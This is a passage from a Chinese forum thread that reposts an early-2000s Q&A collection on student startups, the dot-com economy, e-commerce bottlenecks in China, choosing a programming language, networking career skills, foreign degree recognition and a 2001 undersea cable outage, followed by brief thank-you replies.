    A:2000 年 1 月,教育部颁布了一项有关“大学生、研究生(包括硕士、博士研究生) 可以休学保留学籍创办高新技术企业”的政策。就在这个政策颁布前后,国内许多高校骤然成立了一大批大学生成立的公司。 但在泡沫消失之后,许多公司纷纷倒闭。综观大学生创业,得到的启示是:大学生缺少必要的管理经验、市场运作策划能力、 正确面对失败的心态,学生公司普遍缺少资金,只有知识和技术是远远不够的。在创业热潮中,学生更需要的是冷静的头脑, 扎实的技能。成熟的思想加上必要的素质和技能,才是学生创业的前提。有的专家甚至说:“大学生应该从实验室开始自己的创业。” 看来也不是没有道理的。   
  7,Q:网络萧条即将来临吗?
    A:虽然在全球众多网络公司中,赢利的寥寥无几,但现在就要下结论说网络经济大萧条即将来临似乎还为时过早。
  网络经济的出现和发展,有赖于风险投资资本的积极介入,使其迅速发展成一种全新经济,渗透到世界各个角落,并影响世界经济格局。现在,人们越来越依赖于网络带来的便利,足不出户,便得知天下大事,甚至可以做自己想做的每一件事情。所谓新经济,主要是指网络,以及与网络有关的企业。旧式经济的代言人称网络为"洪水猛兽",可见其对旧式经济的冲击是多么猛烈。事实上,旧式经济经过上百年取得的支配和主导地位,眼看要被刚出现几年,却日益完善的网络经济所取代。
    风险投资公司在旧式经济时代几乎无发展可言,因为没有它们可供投资、获得高利润的风险企业,如成立于1946年的美国研究与发展风险投资公司,多年来风险资本一直很小,发展缓慢。但是自网络出现后,包括这家公司在内的所有风险投资公司迅速发展壮大起来,资金越积累越雄厚,这说明网络本身就是一种风险。对风险投资公司而言,只有投资高风险企业,才能获得它们渴望追求的最高利润。反过来,它们的投资额度越大,网络发展就越迅速,换句话说,风险资本的注入推动了网络经济以惊人的速度发展。业内人士指出,如果不是风险资本的积极介入,网络时代肯定会到来,大大小小的网络企业肯定会建立,电子商务也会随之而至,但时间或许要缓慢得多。专家们说,美国的亚马逊、雅虎、电子港湾等之所以能够迅猛发展,一个主要原因取决于风险投资公司的资金介入。据统计,美国经济从1995年以来增长率平均达到4.4%,就是因为新经济推动的结果。
    虽然在全球众多网络公司中,赢利的寥寥无几,但现在就要下结论说网络经济大萧条即将来临似乎还为时过早。这是因为:
    一、风险投资公司通过多年投资,获利已颇为丰厚;
    二、网络经济的长期繁荣造就了投资者坚定的投资信念,人们认为网络企业是朝阳产业,即便基因工程铺天盖地到来的时候也不例外;
    三、伴随著网络企业的纵深发展,新技术浪潮层出不穷,有利于网络经济的进一步发展。
    在 21 世纪,网络的走向同样让人捉摸不定,但有一点却有人大胆预言,据报道,SUN 公司董事长麦克里尼日前说,免费软件时代即将来临,未来不论个人电脑、移动电话或信息家电所使用的软件统统不用钱。因此他认为,微软已经是过去产物,未来属于 SUN 这样的企业。    c  
  8,Q:网络七大“错觉”:
    A:你可能不会相信你的圣诞礼物会从烟道里出来,也可能不会相信丑小鸭有一天会变成美丽的小天鹅,因为那只是美好的祝愿或者传说,那么我相信你也不会相信下面所列举的网络错觉了。
    首先是电子商务方面的三大错觉:
    1、世界上有数百万个.com 公司。据 IDC 证实,目前全世界受风险资金投资的网络新兴公司仅有 2500 家。
  2、所有的电子商务网站都在亏损。据 IDC 对 600 家电子商务网站的调查显示,到今年年底大约有半数.com 有望盈利,目前已有 35% 的.com 处于赢利状态。比如 FTD 的子公司 FTD.com 等。
  3、.com 的 CEO 都是初出茅庐的年轻人。据 IDC 统计,他们中的 60% 处于 30 至 50 岁之间。
    有关 P2P 的错觉:
  4、P2P 将是未来网络的主流。但业界人士从来不这么认为。Forrester Research 的分析家 Eric Scheirer指出:P2P 只是一种通信手段,不是商业模式。其他的众多专家也认为目前还不能证实P2P在商业领域的有效性,再者从计算机平台和软件等诸多因素来看,人们也无法看到这一新生事物的现实有效性。
    家庭办公的错觉:
    5、未来的工作形式肯定是家庭办公。据 IBM 的调查,所有工作都可以在家做的就业者在全美不足 50%。而且这一比例还有进一步下降的趋势。
    除此之外还有如两条不可信:
    6、互联网的出现使全家一起度过的时间减少。据最近的调查显示,家庭上网后,全家人一起度过的时间并未减少。相反还有 92% 的人回答说增加了。
  7、互联网上的消息不如其他媒体的消息可靠。其实作为一种新兴媒体,互联网在新闻的时效上自不待言,在准确性上也丝毫不亚于其他媒体,这是美国乔治大学的网络分析家 Steve Klein 的观点。  (2001.3)  
  9,Q:中国电子商务的四大瓶颈:
    A:在经历了长长的摸索之后,电子商务先驱们终于得出了结论,在中国发展这一行业有四大瓶颈,即:
    (1)、配送物流;
    (2)、支付方式;
    (3)、传统消费偏好;
    (4)、网上交易安全性。  
  10,Q:内容网站的生存根本?
     A:有作者撰文认为,内容网站的生存根本应包括:
      网站内容必须有原创性;
      网站内容必须加上差异性;
      网站的内容必须收费;
      网站内容必须根据不同的客户进行定制;
      网站内容必须进行联盟经营。  
  11,Q:我该用哪种语言写程序?
     A:目前,流行的计算机语言非常多,如 VB、VC++、Vfp、Delphi、C++Builder、J++Builder、PB、Perl、ASP、PHP、JSP、Java、JavaScript、VbScript、C#、ASP+、HTML、XML、CSS 等等,已经不像 5 年前只有 Basic、Pascle、Turbo C、Fortran、Coble、Foxpro 等容易让人选择,而且新的语言还在不断出现。那么,如果你打算投身计算机这个行业,你准备学习哪门语言呢?
    要选择什么语言,应根据你的从业方向,还有你以往的语言基础来决定。如果你打算从事数据库方面的编程,那么 PB、VB、Delphi、Vfp 可以选择,当然 PB 是首选;如果你打算从事网络(非网站)编程,那么可以选择 VC++、C++Builder、Delphi 等语言,笔者推荐 C++Builder 语言,它具有 Delphi 容易上手、使用简单的优点,又能为你参加考试做好准备,因为现在计算机考试的标准语言是 C 语言。当然现在许多程序员以能够操控 VC++ 为荣耀,甚至认为只有使用 VC++ 的程序员才是程序员,你怎么看是你自己的事了。如果你打算从事网站编程,那么 HTML、ASP、PHP、JSP、XML、Javascript 等不能不学,笔者的经验是先学 HTML、ASP、Javascript 等,再过度到 XML、JSP 等。
    以上是考虑从业的需要。如果你原来已经对 VB 有相当的了解(许多人开始学习计算机是从 VB 起步的),那么,不要轻言放弃,VB 在数据库、多媒体等方面功能并不逊色,况且有大量的优秀软件是用 VB 开发的,微软的许多开发应用中都有 VB 的影子。而且今天的 VB 已经是今非昔比了,它已经具备了开发网络应用、系统程序的能力,而且微软还在加强它的功能。当然,如果你对 C/C++ 非常熟悉,那么你学习 JavaScript、Java、JSP、C# 将会顺手得多。
    笔者再谈一下语言的“尊卑贵贱”问题。现在在一些人的意识里,确有这种心理:越难学的语言其“含金量”越高。笔者曾在 Internet 上听人传闻“现在 Java 的年薪是 5 万元。”这样以来,像 VB 这种曾经为计算机的发展作出过巨大贡献的语言,就遭到一些企业的轻视,有人把 VB 称为“业余”语言,言下之意,VB 只配老百姓在茶余饭后“玩玩”。相应的是,一些想成为“程序员”的人,拼命嚼着 VC++ 的 MFC 和类、封装、继承等一些古怪的字眼,并以此为莫大的荣耀,认为已经接近了计算机的“真谛”。
    而事实的真相是怎样的呢?微软的享誉世界的字处理软件 Word 是用 VB 开发的;微软的 ASP、宏语言等都是 VB 的子集。由此可以看出 VB 的功能是何等的强大!最终用户实际使用的是成型的软件,是软件给他们的工作、生活带来的效率和乐趣,他们在购买和使用软件的时候不会看它是不是用 C 语言制作的。某些企业只所以在招聘员工的时候强调要熟悉 VC++、Delphi、PB,只是为了向外界表明它的某种“档次”,实际上含有商业攀比和广告、公关的成分。
    最后总结一下:笔者推荐的 PB、Delphi、VB、C++Builder、HTML、XML、ASP、JSP、C# 是考虑到一个计算机从业者从吃饭、应试到发展的需要,你可以用 VB、ASP、Delphi、PB 之一去糊口,用 C++Builder 去应付考试,用 C#、XML、ASP+、Java 等新技术去发展。
    (Declear:以上只是张庆的一家之言,仅供参考。 2001.2.19)  
  12,Q:作为一个计算机行业的初入道者,我准备向网络方面发展,应该准备什么知识?
     A:(1)、首先选择一种主攻的网络操作系统,如 Linux/Unix、WindowsNT/2000 Server、Netware 等; (2)、学习网络、通讯的基本理论知识(包括基本协议等),最好参加一种相关的考试;
    (3)、具有综合布线、简单系统集成的经历;
    (4)、熟悉一种网络数据库,如 MS-SQL Server、Oracle、Sybase 等;
    (5)、精通网站的建设和维护,熟悉常用网络软件如 Notes、BackOffice、DreamWeaver、Email 客户软件等;
    (6)、一定的计算机语言基础,如 Html、XML、JavaScript、ASP、VB、C/C++ 等;
    (7)、熟悉常见网络互连设备的连接、配置、维护,如路由器、交换机、网卡、集线器等;
    (8)、和高手参加大型项目的设计、实施。关键是实践。  
  13,Q:给一些洋文凭亮出红灯:四种洋文凭不被中国承认
     A:国际教育展又将鸣锣开张,然而好不容易出国学习一场却得来一纸不被用人单位承认的证书,这样的事应避免发生。2001 年年初,中国留学中心传出消息,以下四类证书目前不在学历认证受理范围之内:
  1、外语补习和攻读其他非正规课程(如短期进修)所获得的结业证书;
  2、进修人员和访问学者的研究经历证明;
  3、未经国务院学位委员会办公室批准的任何形式的联合办学所颁发的证书;
  4、函授取得的国外学历、学位证书。
  另:从 2000 年 2 月开始,我国对国外教育机构颁发的学历文凭进行认证。认证范围包括:
  1、在国外攻读正规课程所获大学专科以上(含大专)学历、学位证书;
  2、经国务院学位委员会批准的联合办学项目取得的外国学历、学位证书。
认证内容有:
  1、确认申请人是否曾在国外颁发证书的高等院校或教育机构、科研机构学习或研究;
  2、确认申请人就读学校或机构是否为所在国政府或权威评估机构所认可;
  3、确认申请人就读学校或机构是否开设有证书涉及的专业并授予相应的学位;
  4、确认申请人是否确实获得该学历或学位;
  5、确认申请人就读的学历年限;
  6、确认申请人所获国外学位证书、文凭类别和学历层次。
目前认证服务受理范围的国家有:美、加拿大、澳大利亚、新西兰、英、法、德、荷兰、比利时、意大利、丹麦、瑞士、瑞典、芬兰、挪威、日本、新加坡、印度、蒙古、朝鲜、韩国、泰国以及俄罗斯、乌克兰等独联体国家。
  此外,教育部留学服务中心还为中国招生和用人单位鉴别外国学位证书及高等教育文凭、证书提供咨询意见,并开展专门的对留学人员所获国外学历、学位证书的认证服务。  
  14,Q:2001 年 2 月 9 日中美海底光缆阻断的原因
     A:据了解,于 2001 年 2 月 9 日发生的中美海缆阻断事故,其直接维修费用估计在 500 万至 600 万元人民币,间接经济损失更是无法估算。事故发生后,许多国外网站无法浏览,一些公司的业务被迫中断,甚至传说有的公司因此影响而倒闭。
    经有关部门调查,中美海缆阻断事故系帆布涨网捕鱼所致。据介绍,帆布涨网捕鱼是在 90 年代中期从韩国流传到中国的,这一作业方式对海底光缆威胁很大。该网锚长 2.2 米,重 1.2 吨,扎入海底可达 2 米左右,且随潮流的涨落而回转,在海底形成一个长约 500 米的回转椭圆形,如遇大浪,锚的移动距离最大可达 4 海里。因此,锚的移动对埋入海底只有 1 至 2 米深的海底光缆具有很大的威胁。另据介绍,1999 年中国海域海底光缆被阻断达 18 次之多。2000 年,有关部门决定在 5 年内彻底淘汰这一作业方式,但是帆布涨网渔船有增无减,仅浙江舟山地区就有 1500 艘。
  为确保不再发生类似的事故,中国海底电缆公司准备增加 4 条巡逻船,加强 24 小时雷达监控。同时,上海有关部门加强了打击破坏光缆的力度,严禁渔船在海缆路由及两侧各两海里范围内抛锚及进行捕捞作业。
发表于 2009-4-14 11:00:42 | 显示全部楼层
谢谢楼主分享
发表于 2009-5-6 11:05:29 | 显示全部楼层
有用,谢谢啦:lol
发表于 2009-5-6 20:32:07 | 显示全部楼层
好东西,谢谢楼主分享。。。支持下~:)
发表于 2009-5-10 20:13:35 | 显示全部楼层
太多了,看不明白
发表于 2009-5-12 19:43:01 | 显示全部楼层
谢楼主分享 学习了 :lol
发表于 2009-5-20 12:51:16 | 显示全部楼层
这东西很实用啊 谢谢楼主了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

QQ|手机版|小黑屋|☆我要吧☆ ( 豫ICP备13016831号-1 )

GMT+8, 2024-5-22 15:54 , Processed in 0.072659 second(s), 22 queries .

Powered by abc369 X3.4

© 2001-2023 abc369.

快速回复 返回顶部 返回列表